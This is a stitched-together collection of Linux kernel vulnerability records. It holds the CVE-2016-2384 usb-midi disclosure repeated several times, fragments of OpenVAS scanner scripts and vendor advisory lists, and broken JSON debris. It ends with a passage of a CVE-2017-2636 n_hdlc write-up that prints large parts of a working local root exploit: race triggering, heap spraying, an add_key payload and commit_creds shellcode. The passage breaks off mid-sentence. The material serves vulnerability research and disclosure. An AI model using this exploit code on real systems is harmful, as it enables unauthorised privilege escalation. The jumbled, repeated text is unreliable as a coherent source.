The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7).\n\nThe vulnerability can be exploited in two ways:\n\n- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64).\n\n- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP.\n\nA proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo).\n\nIt should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated.\n\nThe vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer).\n\n\n--- poc.c ---\n// A part of the proof-of-concept exploit for the vulnerability in the usb-midi\n// driver.

When the kernel invalidated a paging structure that was not in\nuse locally, it could, in principle, race against another CPU that is\nswitching to a process that uses the paging structure in question. A local\nuser could use a thread running with a stale cached virtual- physical\ntranslation to potentially escalate their privileges if the translation in\nquestion were writable and the physical page got reused for something\ncritical (for example, a page table). (CVE-2016-2069, Moderate)\n\n * A race condition flaw was found in the ioctl_send_fib() function in the\nLinux kernel's aacraid implementation. A local attacker could use this flaw\nto cause a denial of service (out-of-bounds access or system crash) by\nchanging a certain size value. (CVE-2016-6480, Moderate)\n\n * It was found that when the gcc stack protector was enabled, reading the\n/proc/keys file could cause a panic in the Linux kernel due to stack\ncorruption. This happened because an incorrect buffer size was used to hold\na 64-bit timeout value rendered as weeks. (CVE-2016-7042, Moderate)\n\n * It was found that when file permissions were modified via chmod and the\nuser modifying them was not in the owning group or capable of CAP_FSETID,\nthe setgid bit would be cleared. Setting a POSIX ACL via setxattr sets the\nfile permissions as well as the new ACL, but doesn't clear the setgid bit\nin a similar way. This could allow a local user to gain group privileges\nvia certain setgid applications. (CVE-2016-7097, Moderate)\n\n * A flaw was found in the Linux networking subsystem where a local attacker\nwith CAP_NET_ADMIN capabilities could cause an out-of-bounds memory access\nby creating a smaller-than-expected ICMP header and sending to its\ndestination via sendto(). (CVE-2016-8399, Moderate)\n\n * It was found that the blk_rq_map_user_iov() function in the Linux\nkernel's block device implementation did not properly restrict the type of\niterator, which could allow a local attacker to re ...\n\n Description truncated, please see the referenced URL(s) for more information.\");\n script_tag(name:\"affected\", value:\"kernel on Red Hat Enterprise Linux Desktop (v. 6),\n Red Hat Enterprise Linux Server (v. 6),\n Red Hat Enterprise Linux Workstation (v. 6)\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n\n script_xref(name:\"RHSA\", value:\"2017:0817-01\");\n script_xref(name:\"URL\", value:\"https://www.redhat.com/archives/rhsa-announce/2017-March/msg00055.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Red Hat Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/rhel\", \"ssh/login/rpms\", re:\"ssh/login/release=RHENT_6\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"RHENT_6\")\n{\n\n if ((res = isrpmvuln(pkg:\"kernel\", rpm:\"kernel~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debug\", rpm:\"kernel-debug~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debug-debuginfo\", rpm:\"kernel-debug-debuginfo~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debug-devel\", rpm:\"kernel-debug-devel~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debuginfo\", rpm:\"kernel-debuginfo~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debuginfo-common-i686\", rpm:\"kernel-debuginfo-common-i686~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-devel\", rpm:\"kernel-devel~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-headers\", rpm:\"kernel-headers~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"perf\", rpm:\"perf~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"perf-debuginfo\", rpm:\"perf-debuginfo~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"python-perf-debuginfo\", rpm:\"python-perf-debuginfo~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-abi-whitelists\", rpm:\"kernel-abi-whitelists~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-doc\", rpm:\"kernel-doc~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-firmware\", rpm:\"kernel-firmware~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debuginfo-common-x86_64\", rpm:\"kernel-debuginfo-common-x86_64~2.6.32~696.el6\", rls:\"RHENT_6\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-31T18:35:21", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2016-03-17T00:00:00", "type": "openvas", "title": "SUSE: Security Advisory for kernel (SUSE-SU-2016:0785-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2016-2384", "CVE-2016-2069", "CVE-2016-0723", "CVE-2016-0774", "CVE-2015-8812", "CVE-2015-8767", "CVE-2013-7446", "CVE-2015-8709", "CVE-2015-5707", "CVE-2015-8785"], "modified": "2020-01-31T00:00:00", "id": "OPENVAS:1361412562310851242", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310851242", "sourceData": "# Copyright (C) 2016 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software;

The issue can be triggered as root (e.g., inside a default LXC container or with the CAP_NET_ADMIN capability) or after namespace unsharing. This occurs because sk_type and protocol are not checked in the appropriate part of the ip6_mroute_* functions.

did not properly initialize\n a certain data structure, which allowed attackers to obtain sensitive\n information from kernel stack memory via an X.25 Call Request\n (bnc#981267).\n\n - CVE-2016-0758: Tags with indefinite length could have corrupted pointers\n in asn1_find_indefinite_length (bsc#979867).\n\n - CVE-2016-2053: The asn1_ber_decoder function in lib/asn1_decoder.c in\n the Linux kernel allowed attackers to cause a denial of service (panic)\n via an ASN.1 BER file that lacks a public key, leading to mishandling by\n the public_key_verify_signature function in\n crypto/asymmetric_keys/public_key.c (bnc#963762).\n\n - CVE-2016-2187: The gtco_probe function in drivers/input/tablet/gtco.c in\n the Linux kernel allowed physically proximate attackers to cause a\n denial of service (NULL pointer dereference and system crash) via a\n crafted endpoints value in a USB device descriptor (bnc#971919 971944).\n\n - CVE-2016-4482: The proc_connectinfo function in

local users to obtain sensitive information from kernel memory by leveraging the CAP_NET_ADMIN capability for an SIOCYAMGCFG ioctl call.(CVE-2014-1446)\n\nThe VFS subsystem in the Linux kernel 3.x provides an incomplete set of requirements for setattr operations that underspecifies removing extended privilege attributes, which allows local users to cause a denial of service (capability stripping) via a failed invocation of a system call, as demonstrated by using chown to remove a capability from the ping or Wireshark dumpcap program.(CVE-2015-1350)\n\nA certain backport in the TCP Fast Open implementation for the Linux kernel before 3.18 does not properly maintain a count value, which allow local users to cause a denial of service (system crash) via the Fast Open feature, as demonstrated by visiting the chrome://flags/#enable-tcp-fast-open URL when using certain 3.10.x through 3.16.x kernel builds, including longterm-maintenance releases and ckt (aka Canonical Kernel Team) builds.(CVE-2015-3332)\n\nThe hub_activate function in drivers/usb/core/hub.c in the Linux kernel before 4.3.5 does not properly maintain a hub-interface data structure, which allows physically proximate attackers to cause a denial of service (invalid memory access and system crash) or possibly have unspecified other impact by unplugging a USB hub device.(CVE-2015-8816)\n\nIn the Linux kernel before 4.1.4, a buffer overflow occurs when checking userspace params in drivers/media/dvb-frontends/cx24116.c.

The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7).\r\n \r\nThe vulnerability can be exploited in two ways:\r\n \r\n- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64).\r\n \r\n- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP.\r\n \r\nA proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo).\r\n \r\nIt should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated.\r\n \r\nThe vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer).\r\n \r\n \r\n--- poc.c ---\r\n// A part of the proof-of-concept exploit for the vulnerability in the usb-midi\r\n// driver.

The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7). \n \nThe vulnerability can be exploited in two ways: \n \n- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64). \n \n- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP. \n \nA proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo). \n \nIt should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated. \n \nThe vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer). \n \n \n--- poc.c --- \n// A part of the proof-of-concept exploit for the vulnerability in the usb-midi \n// driver.

The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7).\n\nThe vulnerability can be exploited in two ways:\n\n- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64).\n\n- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP.\n\nA proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo).\n\nIt should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated.\n\nThe vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer).\n\n\n--- poc.c ---\n// A part of the proof-of-concept exploit for the vulnerability in the usb-midi\n// driver.

The described exploit gains root privileges bypassing Supervisor Mode Execution Protection (SMEP).\r\n\r\nThis driver provides `HDLC` serial line discipline and comes as a kernel module in many Linux distributions, which have `CONFIG_N_HDLC=m` in the kernel config. So [RHEL 6/7](https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-2636), [Fedora](https://bugzilla.redhat.com/show_bug.cgi?id=1430049), [SUSE](https://bugzilla.novell.com/show_bug.cgi?id=CVE-2017-2636), [Debian](https://security-tracker.debian.org/tracker/CVE-2017-2636), and [Ubuntu](https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-2636.html) were affected by CVE-2017-2636.\r\n\r\nCurrently the flaw is [fixed](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=82f2341c94d270421f383641b7cd670e474db56b) in the mainline Linux kernel ([public disclosure](http://seclists.org/oss-sec/2017/q1/569)). The bug was [introduced](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=be10eb7589337e5defbe214dae038a53dd21add8) quite a long time ago, so the patch is backported to the stable kernel versions too.\r\n\r\nI've managed to make the proof-of-concept exploit quite stable and fast. It crashes the kernel very rarely and gains the root shell in less than 20 seconds (at least on my machines). This PoC defeats SMEP, but doesn't cope with Supervisor Mode Access Prevention (SMAP), although it is possible with some additional efforts.\r\n\r\nMy PoC also doesn't defeat Kernel Address Space Layout Randomization (KASLR) and needs to know the kernel code offset. This offset can be obtained using a kernel pointer leak or the prefetch side-channel [attack](https://gruss.cc/files/prefetch.pdf) (see xairy's [implementation](https://github.com/xairy/kaslr-bypass-via-prefetch)).\r\n\r\nFirst of all let's watch the [demo video](https://youtu.be/nDCvRxWxN0Y)!\r\n\r\n\r\n## The n_hdlc bug\r\n\r\nInitially, `N_HDLC` line discipline used a self-made singly linked list for data buffers and had `n_hdlc.tbuf` pointer for buffer retransmitting after an error. It worked, but the commit `be10eb75893` added data flushing and introduced racy access to `n_hdlc.tbuf`.\r\n\r\nAfter tx error concurrent [`flush_tx_queue()`](http://lxr.free-electrons.com/ident?i=flush_tx_queue) and [`n_hdlc_send_frames()`](http://lxr.free-electrons.com/ident?i=n_hdlc_send_frames) both use `n_hdlc.tbuf` and can put one buffer to `tx_free_buf_list` twice. That causes an exploitable double-free error in [`n_hdlc_release()`](http://lxr.free-electrons.com/ident?i=n_hdlc_release). The data buffers are represented by `struct n_hdlc_buf` and allocated in the `kmalloc-8192` slab cache.\r\n\r\nFor fixing this bug, I [used](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=82f2341c94d270421f383641b7cd670e474db56b) a standard kernel linked list and got rid of racy `n_hdlc.tbuf`: in case of tx error the current `n_hdlc_buf` item is put after the head of `tx_buf_list`.\r\n\r\nI started the investigation when got a suspicious kernel crash from [syzkaller](https://github.com/google/syzkaller). It is a really great project, which helped to fix an [impressively big list](https://github.com/google/syzkaller/wiki/Found-Bugs) of bugs in Linux kernel.\r\n\r\n## Exploitation\r\n\r\nThis article is the only way for me to publish the exploit code. So, please, be patient and prepare to plenty of listings!\r\n\r\n### Winning the race\r\n\r\nLet's look to the code of the main loop: going to race till success.\r\n\r\n```\r\nfor (;;) {\r\n\tlong tmo1 = 0;\r\n\tlong tmo2 = 0;\r\n\r\n\tif (loop % 2 == 0)\r\n\t\ttmo1 = loop % MAX_RACE_LAG_USEC;\r\n\telse\r\n\t\ttmo2 = loop % MAX_RACE_LAG_USEC;\r\n```\r\n\r\nThe `loop` counter is incremented every iteration, so `tmo1` and `tmo2` variables are changing too. They are used for making lags in the racing threads, which:\r\n\r\n1. synchronize at the `pthread_barrier`,\r\n2. spin the specified number of microseconds in a busy loop,\r\n3. interact with `n_hdlc`.\r\n\r\nSuch a way of colliding threads helps to hit the race condition earlier.\r\n\r\n```\r\n\tptmd = open(\"/dev/ptmx\", O_RDWR);\r\n\tif (ptmd < 0) {\r\n\t\tperror(\"[-] open /dev/ptmx\");\r\n\t\tgoto end;\r\n\t}\r\n\r\n\tret = ioctl(ptmd, TIOCSETD, &ldisc);\r\n\tif (ret < 0) {\r\n\t\tperror(\"[-] TIOCSETD\");\r\n\t\tgoto end;\r\n\t}\r\n```\r\n\r\nHere we open a pseudoterminal master and slave pair and set the `N_HDLC` line discipline for it. For more information about that, see `man ptmx`, [`Documentation/serial/tty.txt`](http://lxr.free-electrons.com/source/Documentation/serial/tty.txt) and [this](https://unix.stackexchange.com/questions/117981/what-are-the-responsibilities-of-each-pseudo-terminal-pty-component-software) great discussion about `pty` components.\r\n\r\nSetting `N_HDLC` ldisc for a serial line causes the `n_hdlc` kernel module autoloading. You can get the same effect using `ldattach` daemon.\r\n\r\n```\r\n\tret = ioctl(ptmd, TCXONC, TCOOFF);\r\n\tif (ret < 0) {\r\n\t\tperror(\"[-] TCXONC TCOOFF\");\r\n\t\tgoto end;\r\n\t}\r\n\r\n\tbytes = write(ptmd, buf, TTY_BUF_SZ);\r\n\tif (bytes != TTY_BUF_SZ) {\r\n\t\tprintf(\"[-] write to ptmx (bytes)\\n\");\r\n\t\tgoto end;\r\n\t}\r\n```\r\n\r\nHere we suspend the pseudoterminal output (see `man tty_ioctl`) and write one data buffer. The `n_hdlc_send_frames()` fails to send this buffer and saves its address in `n_hdlc.tbuf`.\r\n\r\nWe are ready for the race. Start two threads, which are allowed to run on all available CPU cores:\r\n\r\n* thread 1: flush the data with `ioctl(ptmd, TCFLSH, TCIOFLUSH)`;\r\n* thread 2: start the suspended output with `ioctl(ptmd, TCXONC, TCOON)`.\r\n\r\nIn a lucky case, they both put the only written buffer pointed by `n_hdlc.tbuf` to `tx_free_buf_list`.\r\n\r\nNow we return to the CPU 0 and trigger possible double-free error:\r\n\r\n```\r\n\tret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu);\r\n\tif (ret != 0) {\r\n\t\tperror(\"[-] sched_setaffinity\");\r\n\t\tgoto end;\r\n\t}\r\n\r\n\tret = close(ptmd);\r\n\tif (ret != 0) {\r\n\t\tperror(\"[-] close /dev/ptmx\");\r\n\t\tgoto end;\r\n\t}\r\n```\r\n\r\nWe close the pseudoterminal master. The `n_hdlc_release()` goes through `n_hdlc_buf_list` items and frees the kernel memory used for data buffers. Here the possible double-free error happens.\r\n\r\nThis particular bug is successfully detected by the Kernel Address Sanitizer ([KASAN](https://lwn.net/Articles/612153/)), which reports the use-after-free happening just before the second `kfree()`.\r\n\r\nThe final part of the main loop:\r\n\r\n```\r\n\tret = exploit_skb(socks, sockaddrs, payload, loop % SOCK_PAIRS);\r\n\tif (ret != EXIT_SUCCESS)\r\n\t\tgoto end;\r\n\r\n\tif (getuid() == 0 && geteuid() == 0) {\r\n\t\tprintf(\"[+] race #%ld: WIN! flush(%ld), TCOON(%ld)\\n\",\r\n\t\t\t\t\t\tloop, tmo1, tmo2);\r\n\t\tbreak; /* :) */\r\n\t}\r\n\r\n\tloop++;\r\n}\r\n\r\nprintf(\"[+] finish as: uid=0, euid=0, start sh...\\n\");\r\nrun_sh();\r\n```\r\n\r\nHere we try to exploit the double-free error by overwriting `struct sk_buff`. In case of success, we exit from the main loop and run the root shell in the child process using `execve()`.\r\n\r\n### Exploiting the sk_buff\r\n\r\nAs I mentioned, the doubly freed `n_hdlc_buf` item is allocated in the `kmalloc-8192` slab cache. For exploiting double-free error for this cache, we need some kernel objects with the size a bit less than 8 kB. Actually, we need two types of such objects:\r\n\r\n* one containing some function pointer,\r\n* another one with the controllable payload, which can overwrite that pointer.\r\n\r\nSearching for such kernel objects and experimenting with them was not easy and took me some time. Finally, I've chosen `sk_buff` with its `destructor_arg` in `struct skb_shared_info`. This approach is not new \u2013 consider reading the cool write-up about [CVE-2016-2384](https://xairy.github.io/blog/2016/cve-2016-2384).\r\n\r\nThe network-related buffers in Linux kernel are represented by `struct sk_buff`. See [these](http://vger.kernel.org/~davem/skb_data.html) great pictures describing `sk_buff` data layout. The most important for us is that the network data and `skb_shared_info` are placed in the same kernel memory block pointed by `sk_buff.head`. So creating a 7500-byte network packet in the userspace will make `skb_shared_info` be allocated in the `kmalloc-8192` slab cache. Exactly like we want.\r\n\r\nBut there is one challenge: `n_hdlc_release()` frees 13 `n_hdlc_buf` items straight away. At first I was trying to do the heap spray in parallel with `n_hdlc_release()`, but didn't manage to inject the corresponding `kmalloc()` between the needed `kfree()` calls. So I used another way: spraying **after** `n_hdlc_release()` can give two `sk_buff` items with the `head` pointing to the same memory. That's promising.\r\n\r\nSo we need to spray hard but keep 8 kB UDP packets allocated to avoid mess in the allocator freelist. Socket queues are limited in size, so I've created a lot of sockets using `socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)`:\r\n\r\n* one client socket for sending UDP packets,\r\n* one dedicated server socket, which is likely to receive two packets with the same `sk_buff.head`,\r\n* 200 server sockets for receiving other packets emitted during heap spray,\r\n* 200 server sockets for receiving the packets emitted during slab exhaustion.\r\n\r\nOk. Now we need another kernel object for overwriting the function pointer in `skb_shared_info.destructor_arg`. We can't use `sk_buff.head` for that again, because `skb_shared_info` is placed at the same offset in `sk_buff.head` and we don't control it. I was really happy to find that `add_key` syscall is able to allocate the controllable data in the `kmalloc-8192` too.\r\n\r\nBut I became upset when encountered key data quotas in `/proc/sys/kernel/keys/` owned by root. The default value of `/proc/sys/kernel/keys/maxbytes` is 20000\\. It means that only 2 `add_key` syscalls can concurrently store our 8 kB payload in the kernel memory, and that's not enough.\r\n\r\nBut the happiness returned when I encountered the bright idea at the [slides](https://speakerdeck.com/retme7/talk-is-cheap-show-me-the-code) of Di Shen from [Keen Security Lab](http://keenlab.tencent.com/en/): I can make the heap spray successful even if `add_key` fails!\r\n\r\nSo, let's look at the `init_payload()` code:\r\n\r\n```\r\n#define MMAP_ADDR\t\t0x10000lu\r\n#define PAYLOAD_SZ\t\t8100\r\n#define SKB_END_OFFSET\t\t7872\r\n#define KEY_DATA_OFFSET\t\t18\r\n\r\nint init_payload(char *p)\r\n{\r\n\tstruct skb_shared_info *info = (struct skb_shared_info *)(p +\r\n\t\t\t\t\tSKB_END_OFFSET - KEY_DATA_OFFSET);\r\n\tstruct ubuf_info *uinfo_p = NULL;\r\n```\r\n\r\nThe definition of `struct skb_shared_info` and `struct ubuf_info` is copied to the exploit code from [`include/linux/skbuff.h`](http://lxr.free-electrons.com/source/include/linux/skbuff.h) kernel header.\r\n\r\nThe payload buffer will be passed to `add_key` as a parameter, and the data which we put there at `7872 - 18 = 7854` byte offset will exactly overwrite `skb_shared_info`.\r\n\r\n```\r\n\tchar *area = NULL;\r\n\tvoid *target_addr = (void *)(MMAP_ADDR);\r\n\r\n\tarea = mmap(target_addr, 0x1000, PROT_READ | PROT_WRITE,\r\n\t\t\tMAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\r\n\tif (area != target_addr) {\r\n\t\tperror(\"[-] mmap\\n\");\r\n\t\treturn EXIT_FAILURE;\r\n\t}\r\n\r\n\tuinfo_p = target_addr;\r\n\tuinfo_p->callback = (uint64_t)root_it;\r\n\r\n\tinfo->destructor_arg = (uint64_t)uinfo_p;\r\n\tinfo->tx_flags = SKBTX_DEV_ZEROCOPY;\r\n```\r\n\r\nThe `ubuf_info.callback` is called in [`skb_release_data()`](http://lxr.free-electrons.com/ident?i=skb_release_data) if `skb_shared_info.tx_flags` has `SKBTX_DEV_ZEROCOPY` flag set to 1\\. In our case, `ubuf_info` item resides in the userspace memory, so dereferencing its pointer in the kernelspace will be detected by SMAP.\r\n\r\nAnyway, now the `callback` points to `root_it()`, which does the classical `commit_creds(prepare_kernel_cred(0))`. However, this shellcode resides in the userspace too, so executing it in the kernelspace will be detected by SMEP. We are going to bypass it soon.\r\n\r\n#### Heap spraying and stabilization\r\n\r\nAs I mentioned, `n_hdlc_release()` frees thirteen `n_hdlc_buf` items. Our `exploit_skb()` is executed shortly after that. Here we do the actual heap spraying by sending twenty 7500-byte UDP packets. Experiments showed that the packets number 12, 13, 14, and 15 are likely to be exploitable, so they are sent to the dedicated server socket.\r\n\r\nNow we are going to perform the use-after-free on `sk_buff.data`:\r\n\r\n* receive 4 network packets on the dedicated server socket one by one,\r\n* execute several `add_key` syscalls with our payload after receiving each of them.\r\n\r\nThe exact number of `add_key` syscalls giving the best results was found empirically by testing the exploit many times. The example of `add_key` call:\r\n\r\n\r\n\r\n```\r\nk[0] = syscall(__NR_add_key, \"user\", \"payload0\",\r\n\t\t\tpayload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);\r\n```\r\n\r\n\r\nIf we won the race and did the heap spraying luckily, then our shellcode is executed when the poisoned packet is received. After that we can invalidate the keys that were successfully allocated in the kernel memory:\r\n\r\n```\r\nfor (i = 0; i < KEYS_N; i++) {\r\n\tif (k[i] > 0)\r\n\t\tsyscall(__NR_keyctl, KEYCTL_INVALIDATE, k[i]);\r\n}\r\n```\r\n\r\nNow we need to prepare the heap to the next round of `n_hdlc` racing. The `/proc/slabinfo` shows that 